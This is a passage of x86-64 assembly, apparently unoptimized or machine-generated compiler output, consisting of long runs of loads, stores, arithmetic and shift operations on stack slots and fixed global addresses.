movzx ecx, word [rsp + 0x11f0]
add eax, ecx
mov word [rsp + 0x1054], ax
lea rax, [rsp + 0x5444]
mov qword [rsp + 0xd010], rax
mov rax, qword [rsp + 0x9c20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5454]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53bc], eax
mov rax, qword [rsp + 0xb2c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc658]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xafb0], rax
lea rax, [rsp + 0xbd30]
mov qword [rsp + 0xd018], rax
movzx eax, byte [rsp + 0x104]
mov rcx, qword [0x1401e8b98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x246], al
movzx eax, word [rsp + 0x1154]
mov word [0x1401e9010], ax
movzx eax, byte [rsp + 0x132]
mov byte [rsp + 0x26f], al
movzx eax, word [rsp + 0x1288]
mov rcx, qword [0x1401e8f70]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1608], ax
mov rax, qword [rsp + 0xc870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1500]
or eax, ecx
mov word [rsp + 0x12bc], ax
mov rax, qword [rsp + 0xc550]
mov eax, dword [rax]
mov dword [rsp + 0x557c], eax
mov rax, qword [rsp + 0xa5a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc588]
mov qword [rsp + 0xd020], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd020]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xabb0]
mov qword [rsp + 0xd028], rax
mov rax, qword [rsp + 0xb950]
mov rcx, qword [rsp + 0xa680]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc860], rax
movsx eax, word [rsp + 0x138c]
movsx ecx, word [rsp + 0x12f8]
add eax, ecx
mov word [rsp + 0x11b8], ax
lea rax, [rsp + 0x11a0]
mov qword [0x1401e9018], rax
lea rax, [rsp + 0x1a5]
mov qword [rsp + 0xd030], rax
mov rax, qword [rsp + 0xbe28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x253]
and eax, ecx
mov byte [rsp + 0x26e], al
lea rax, [rsp + 0x188]
mov qword [rsp + 0xd038], rax
movzx eax, byte [rsp + 0x203]
mov rcx, qword [rsp + 0xb1a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9060]
mov byte [rcx], al
mov rax, qword [rsp + 0x9db8]
mov qword [rsp + 0xd040], rax
mov rax, qword [rsp + 0xa4d0]
mov rcx, qword [rsp + 0x8d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa8d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f64], eax
mov eax, dword [rsp + 0x5018]
mov dword [rsp + 0x5580], eax
movzx eax, word [rsp + 0x1684]
movzx ecx, word [rsp + 0x12cc]
add eax, ecx
mov word [0x1401e87e0], ax
movsx eax, byte [rsp + 0x227]
movsx ecx, byte [rsp + 0x153]
add eax, ecx
mov byte [rsp + 0x210], al
lea rax, [rsp + 0x16fc]
mov qword [rsp + 0xd048], rax
movzx eax, word [rsp + 0x1204]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1490], ax
mov rax, qword [rsp + 0xaf68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fd]
sub eax, ecx
mov byte [rsp + 0x171], al
lea rax, [rsp + 0xb278]
mov qword [rsp + 0xd050], rax
mov rax, qword [rsp + 0xaf18]
mov rcx, qword [rsp + 0x9178]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5524], eax
lea rax, [rsp + 0xa8e0]
mov qword [rsp + 0xd058], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x51d4]
shl eax, cl
mov dword [rsp + 0x5274], eax
mov rax, qword [rsp + 0xcd80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e7184], ax
mov rax, qword [rsp + 0xbc58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x97f8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x147c], ax
movzx eax, word [rsp + 0x1050]
mov word [rsp + 0x1770], ax
movzx eax, byte [rsp + 0x20b]
mov rcx, qword [rsp + 0xb1a0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x24b]
mov byte [rsp + 0x270], al
mov rax, qword [rsp + 0xb448]
mov rcx, qword [0x1401e7028]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xac90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcfb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc930]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa038]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4fd0]
mov dword [rsp + 0x5584], eax
mov rax, qword [rsp + 0xcd50]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbbd8]
mov dword [rcx], eax
lea rax, [rsp + 0x126]
mov qword [0x1401e9020], rax
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x271], al
mov rax, qword [rsp + 0x9cb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1238], ax
lea rax, [rsp + 0x190]
mov qword [rsp + 0xd060], rax
movsx eax, word [rsp + 0x1144]
mov rcx, qword [rsp + 0xcf58]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [rsp + 0xc7c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9330]
mov eax, dword [rax]
mov dword [rsp + 0x5588], eax
mov rax, qword [rsp + 0xc408]
mov rcx, qword [rsp + 0xcfd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9e10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5110]
mov dword [rsp + 0x558c], eax
mov rax, qword [0x1401e8f28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8cf0]
mov byte [rcx], al
movsx eax, word [rsp + 0x159c]
mov rcx, qword [rsp + 0x90e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10e4], ax
movzx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0xa000]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa6f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb440]
movzx eax, word [rax]
mov word [rsp + 0x1774], ax
mov rax, qword [rsp + 0xb9f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc548]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaca0]
mov byte [rcx], al
lea rax, [rsp + 0xa020]
mov qword [rsp + 0xd068], rax
mov rax, qword [rsp + 0xa6d8]
movzx ecx, al
mov rax, qword [rsp + 0xc998]
shr rax, cl
mov rcx, qword [rsp + 0xcdd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4cac]
shl eax, cl
mov rcx, qword [rsp + 0xb6e0]
mov dword [rcx], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0xd070], rax
lea rax, [rsp + 0x18f]
mov qword [0x1401e9028], rax
movzx eax, word [rsp + 0x1280]
movzx ecx, word [rsp + 0x14bc]
xor eax, ecx
mov rcx, qword [rsp + 0xaff8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbdf8]
movzx eax, byte [rax]
mov byte [rsp + 0x272], al
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x181]
or eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x9ab8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13f0]
and eax, ecx
mov word [rsp + 0x138c], ax
mov rax, qword [rsp + 0xb748]
mov eax, dword [rax]
mov dword [rsp + 0x5590], eax
mov rax, qword [rsp + 0xb130]
mov rax, qword [rax]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc938]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9258]
mov rax, qword [rax]
mov qword [rsp + 0xd078], rax
mov eax, dword [rsp + 0x5444]
mov ecx, dword [rsp + 0x4fc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5044], eax
lea rax, [0x1401e8cd0]
mov qword [0x1401e9030], rax
lea rax, [rsp + 0x1330]
mov qword [rsp + 0xd080], rax
movzx eax, byte [rsp + 0x1fb]
mov rcx, qword [rsp + 0xb920]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcd38]
mov byte [rcx], al
mov rax, qword [0x1401e9018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc5d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1768], ax
movzx eax, byte [rsp + 0x21e]
mov byte [rsp + 0x273], al
mov rax, qword [rsp + 0xaec0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc8e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov dword [rsp + 0x5594], eax
mov rax, qword [rsp + 0xcc70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9850]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95a8]
mov rcx, qword [rsp + 0xcce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb240], rax
movsx eax, byte [0x1401e703b]
mov rcx, qword [rsp + 0x9900]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8b48]
mov byte [rcx], al
lea rax, [rsp + 0x117c]
mov qword [rsp + 0xd088], rax
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x103c]
xor eax, ecx
mov rcx, qword [rsp + 0xb6c8]
mov word [rcx], ax
lea rax, [rsp + 0x24c]
mov qword [rsp + 0xd090], rax
mov rax, qword [rsp + 0xb360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x11d8], ax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc4b8]
mov qword [rsp + 0xd098], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5300], eax
lea rax, [rsp + 0xb820]
mov qword [rsp + 0xd0a0], rax
mov rax, qword [rsp + 0xab40]
mov ecx, dword [rsp + 0x51ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0xc708]
mov qword [rsp + 0xd0a8], rax
movsx eax, word [rsp + 0x15c4]
mov rcx, qword [rsp + 0x92e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15d8], ax
movzx eax, byte [rsp + 0x16b]
movzx ecx, byte [rsp + 0x231]
add eax, ecx
mov byte [0x1401e7047], al
movzx eax, word [rsp + 0x16f4]
mov word [rsp + 0x1778], ax
movsx eax, byte [rsp + 0x211]
movsx ecx, byte [rsp + 0xa6]
add eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0xb6c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc908]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb3e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x5440]
mov dword [rsp + 0x5598], eax
mov eax, dword [rsp + 0x54a8]
mov ecx, dword [rsp + 0x523c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5230], eax
lea rax, [rsp + 0x95d0]
mov qword [rsp + 0xd0b0], rax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xb008]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa620]
mov qword [rcx], rax
movzx eax, word [0x1401e8ab8]
movzx ecx, word [rsp + 0x1488]
add eax, ecx
mov word [rsp + 0x134c], ax
lea rax, [rsp + 0x1e8]
mov qword [0x1401e9038], rax
lea rax, [rsp + 0x16d8]
mov qword [rsp + 0xd0b8], rax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0xc7a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x179], al
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
mov byte [rsp + 0x274], al
mov rax, qword [rsp + 0xa390]
mov ecx, dword [rsp + 0x53f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5154], eax
mov eax, dword [rsp + 0x516c]
mov ecx, dword [rsp + 0x4cc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e68], eax
lea rax, [rsp + 0xb220]
mov qword [rsp + 0xd0c0], rax
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f90]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3b0]
mov qword [rcx], rax
lea rax, [rsp + 0x1444]
mov qword [rsp + 0xd0c8], rax
movsx eax, word [rsp + 0x1594]
movsx ecx, word [rsp + 0x1570]
shl eax, cl
mov word [0x1401e71d4], ax
mov rax, qword [rsp + 0x9340]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x100]
sar eax, cl
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0xaca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9d]
or eax, ecx
mov byte [rsp + 0x1cb], al
lea rax, [rsp + 0xbe]
mov qword [rsp + 0xd0d0], rax
mov eax, dword [rsp + 0x525c]
mov ecx, dword [rsp + 0x5414]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9d0]
mov qword [rsp + 0xd0d8], rax
mov rax, qword [rsp + 0xb670]
mov rcx, qword [rsp + 0x9058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d8], rax
lea rax, [rsp + 0x4edc]
mov qword [rsp + 0xd0e0], rax
movsx eax, byte [0x1401e88c4]
movsx ecx, byte [rsp + 0x251]
add eax, ecx
mov byte [rsp + 0x22b], al
mov rax, qword [rsp + 0xc170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1284]
sub eax, ecx
mov word [0x1401e8ee4], ax
movsx eax, word [rsp + 0x1464]
movsx ecx, word [0x1401e71bc]
add eax, ecx
mov word [rsp + 0x16c4], ax
lea rax, [rsp + 0x14bc]
mov qword [rsp + 0xd0e8], rax
movzx eax, byte [rsp + 0x223]
mov rcx, qword [rsp + 0xa668]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15e], al
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0xcf90]
mov rcx, qword [0x1401e7028]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa388]
mov qword [rcx], rax
mov eax, dword [rsp + 0x50cc]
mov ecx, dword [rsp + 0x5260]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f48]
mov dword [rsp + 0x559c], eax
mov rax, qword [rsp + 0x9c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaeb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x92e8], rax
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [rsp + 0xba]
add eax, ecx
mov byte [0x1401e70e6], al
lea rax, [0x1401e8d68]
mov qword [rsp + 0xd0f0], rax
movzx eax, word [rsp + 0x163c]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10dc], ax
movsx eax, byte [rsp + 0xa7]
movsx ecx, byte [rsp + 0x15d]
sar eax, cl
mov byte [rsp + 0x1ef], al
movzx eax, word [rsp + 0x1554]
mov word [rsp + 0x177c], ax
mov rax, qword [rsp + 0x9b40]
mov rcx, qword [rsp + 0xa648]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5530], eax
mov rax, qword [rsp + 0xa630]
mov qword [rsp + 0xd0f8], rax
mov rax, qword [rsp + 0xcd20]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb3d0], rax
lea rax, [rsp + 0x5364]
mov qword [rsp + 0xd100], rax
movzx eax, word [rsp + 0x1430]
movzx ecx, word [rsp + 0x12e0]
and eax, ecx
mov rcx, qword [0x1401e87f8]
mov word [rcx], ax
mov rax, qword [0x1401e8e30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ad], al
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0x1aa]
add eax, ecx
mov byte [rsp + 0xb4], al
lea rax, [rsp + 0x1764]
mov qword [rsp + 0xd108], rax
movsx eax, word [0x1401e8908]
mov rcx, qword [rsp + 0xc5a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0x91e8]
mov eax, dword [rax]
mov dword [rsp + 0x55a0], eax
mov rax, qword [rsp + 0xad80]
mov rcx, qword [rsp + 0xc9b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc370]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa458]
mov ecx, dword [rsp + 0x53d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa9e8]
mov dword [rcx], eax
lea rax, [rsp + 0xcdf8]
mov qword [rsp + 0xd110], rax
movzx eax, word [rsp + 0x1024]
movzx ecx, word [rsp + 0x15cc]
sub eax, ecx
mov word [0x1401e7144], ax
movzx eax, byte [rsp + 0x109]
mov rcx, qword [rsp + 0xc078]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x218], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0xd118], rax
mov rax, qword [rsp + 0xa428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0xbb70]
mov byte [rcx], al
mov rax, qword [rsp + 0xa9a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d90]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x175c], ax
mov rax, qword [rsp + 0x9b00]
mov eax, dword [rax]
mov dword [rsp + 0x55a4], eax
mov rax, qword [rsp + 0xb228]
mov rcx, qword [rsp + 0x98a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb1e0], rax
lea rax, [rsp + 0x9c10]
mov qword [rsp + 0xd120], rax
mov rax, qword [rsp + 0xad18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb490]
mov qword [rsp + 0xd128], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd128]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc250]
mov dword [rcx], eax
lea rax, [rsp + 0x86]
mov qword [0x1401e9040], rax
movzx eax, byte [0x1401e704b]
mov rcx, qword [rsp + 0xbbe0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x149], al
lea rax, [rsp + 0x167c]
mov qword [rsp + 0xd130], rax
movsx eax, word [rsp + 0x1134]
mov rcx, qword [rsp + 0xbac8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd008]
mov word [rcx], ax
lea rax, [0x1401e87a5]
mov qword [rsp + 0xd138], rax
mov rax, qword [rsp + 0xbfa0]
mov rcx, qword [rsp + 0xc528]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xab68], rax
mov eax, dword [rsp + 0x4e44]
mov dword [rsp + 0x55a8], eax
mov rax, qword [rsp + 0xc338]
mov rcx, qword [rsp + 0x9ff0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0xba90]
mov rcx, qword [rsp + 0xcd50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ed0], eax
mov rax, qword [rsp + 0xc258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcae0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8b88]
mov word [rcx], ax
movzx eax, word [rsp + 0x12b8]
mov word [rsp + 0x1780], ax
movzx eax, byte [rsp + 0x11f]
movzx ecx, byte [rsp + 0x1f4]
sub eax, ecx
mov byte [rsp + 0x1b1], al
movzx eax, word [rsp + 0x1440]
mov word [rsp + 0x1784], ax
movsx eax, word [rsp + 0x1078]
movsx ecx, word [rsp + 0x1228]
sub eax, ecx
mov rcx, qword [rsp + 0xa1a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9368]
mov rcx, qword [rsp + 0xc8a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4e0], rax
lea rax, [rsp + 0x5390]
mov qword [rsp + 0xd140], rax
mov rax, qword [rsp + 0xb3c0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9478], rax
lea rax, [rsp + 0x5460]
mov qword [rsp + 0xd148], rax
lea rax, [rsp + 0x1a0]
mov qword [0x1401e9048], rax
movsx eax, byte [rsp + 0x23d]
mov rcx, qword [0x1401e8c10]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
mov rax, qword [rsp + 0xccd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae80]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc750]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
mov byte [rsp + 0x276], al
mov rax, qword [0x1401e8ac8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14a0]
shl eax, cl
mov word [rsp + 0x1234], ax
mov rax, qword [rsp + 0x9e48]
mov eax, dword [rax]
mov dword [rsp + 0x55ac], eax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0xaf08]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb860]
movzx ecx, al
mov rax, qword [0x1401e7018]
shr rax, cl
mov qword [rsp + 0xae60], rax
mov rax, qword [rsp + 0xa588]
mov eax, dword [rax]
mov dword [rsp + 0x55b0], eax
movsx eax, word [rsp + 0x10b8]
movsx ecx, word [rsp + 0x157c]
add eax, ecx
mov word [0x1401e8c34], ax
movzx eax, byte [0x1401e70ca]
movzx ecx, byte [rsp + 0x228]
add eax, ecx
mov rcx, qword [rsp + 0x9460]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ad0]
movzx eax, byte [rax]
mov byte [rsp + 0x277], al
movzx eax, word [rsp + 0x1688]
mov rcx, qword [rsp + 0xbaf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10c4], ax
lea rax, [rsp + 0x25b]
mov qword [rsp + 0xd150], rax
mov rax, qword [rsp + 0xc918]
mov rcx, qword [rsp + 0xbf88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5324], eax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
lea rax, [rsp + 0x5134]
mov qword [rsp + 0xd158], rax
mov rax, qword [rsp + 0xb410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a10]
movzx eax, word [rax]
mov word [rsp + 0x1788], ax
lea rax, [0x1401e87a3]
mov qword [0x1401e9050], rax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x156c]
sub eax, ecx
mov word [rsp + 0x171c], ax
movsx eax, byte [rsp + 0x21a]
movsx ecx, byte [rsp + 0x1a1]
sub eax, ecx
mov rcx, qword [rsp + 0xae88]
mov byte [rcx], al
movzx eax, word [0x1401e7068]
mov word [rsp + 0x178c], ax
mov eax, dword [rsp + 0x4fe8]
mov ecx, dword [rsp + 0x5238]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5530], eax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov dword [rsp + 0x55b4], eax
mov rax, qword [rsp + 0xb130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb228]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab80]
mov rcx, qword [rsp + 0xacc8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x98f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
lea rax, [0x1401e8fd0]
mov qword [0x1401e9058], rax
movsx eax, word [rsp + 0x141c]
mov rcx, qword [rsp + 0xafe0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaf10]
mov word [rcx], ax
lea rax, [rsp + 0x1574]
mov qword [rsp + 0xd160], rax
mov rax, qword [rsp + 0xada8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b0]
shl eax, cl
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0xb130]
mov rax, qword [rax]
mov qword [rsp + 0xd168], rax
mov rax, qword [rsp + 0xa9b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0e0], rax
mov rax, qword [rsp + 0xaee0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa7f0]
mov qword [rsp + 0xd170], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd170]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5278], eax
lea rax, [rsp + 0x5314]
mov qword [rsp + 0xd178], rax
movsx eax, byte [rsp + 0x119]
movsx ecx, byte [rsp + 0x253]
and eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0xc990]
movzx eax, word [rax]
mov rcx, qword [0x1401e8e28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8b10]
mov word [rcx], ax
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0xd180], rax
movsx eax, word [rsp + 0x1664]
movsx ecx, word [rsp + 0xffc]
add eax, ecx
mov word [rsp + 0x143c], ax
mov rax, qword [0x1401e8850]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11f]
and eax, ecx
mov byte [rsp + 0x109], al
mov eax, dword [rsp + 0x50c0]
mov dword [rsp + 0x55b8], eax
mov rax, qword [rsp + 0x9418]
mov rcx, qword [rsp + 0xa828]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcac8]
mov qword [rcx], rax
lea rax, [0x1401e7010]
mov qword [rsp + 0xd188], rax
mov rax, qword [rsp + 0xb870]
mov ecx, dword [rsp + 0x5570]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa650]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa7], al
mov rax, qword [0x1401e8858]
movzx eax, word [rax]
mov word [0x1401e9060], ax
lea rax, [rsp + 0x16f]
mov qword [rsp + 0xd190], rax
mov rax, qword [rsp + 0x97a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9dc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov word [rsp + 0x1790], ax
movsx eax, word [rsp + 0x15c8]
movsx ecx, word [rsp + 0x13e4]
sub eax, ecx
mov word [rsp + 0x178c], ax
mov rax, qword [rsp + 0xc050]
mov rcx, qword [rsp + 0x9bd0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa010]
mov qword [rcx], rax
mov eax, dword [rsp + 0x54b4]
mov dword [rsp + 0x55bc], eax
mov rax, qword [rsp + 0xaee8]
movzx ecx, al
mov rax, qword [rsp + 0xaff0]
sar rax, cl
mov qword [rsp + 0xc838], rax
mov eax, dword [rsp + 0x5310]
mov dword [rsp + 0x55c0], eax
mov rax, qword [rsp + 0xa120]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1244]
or eax, ecx
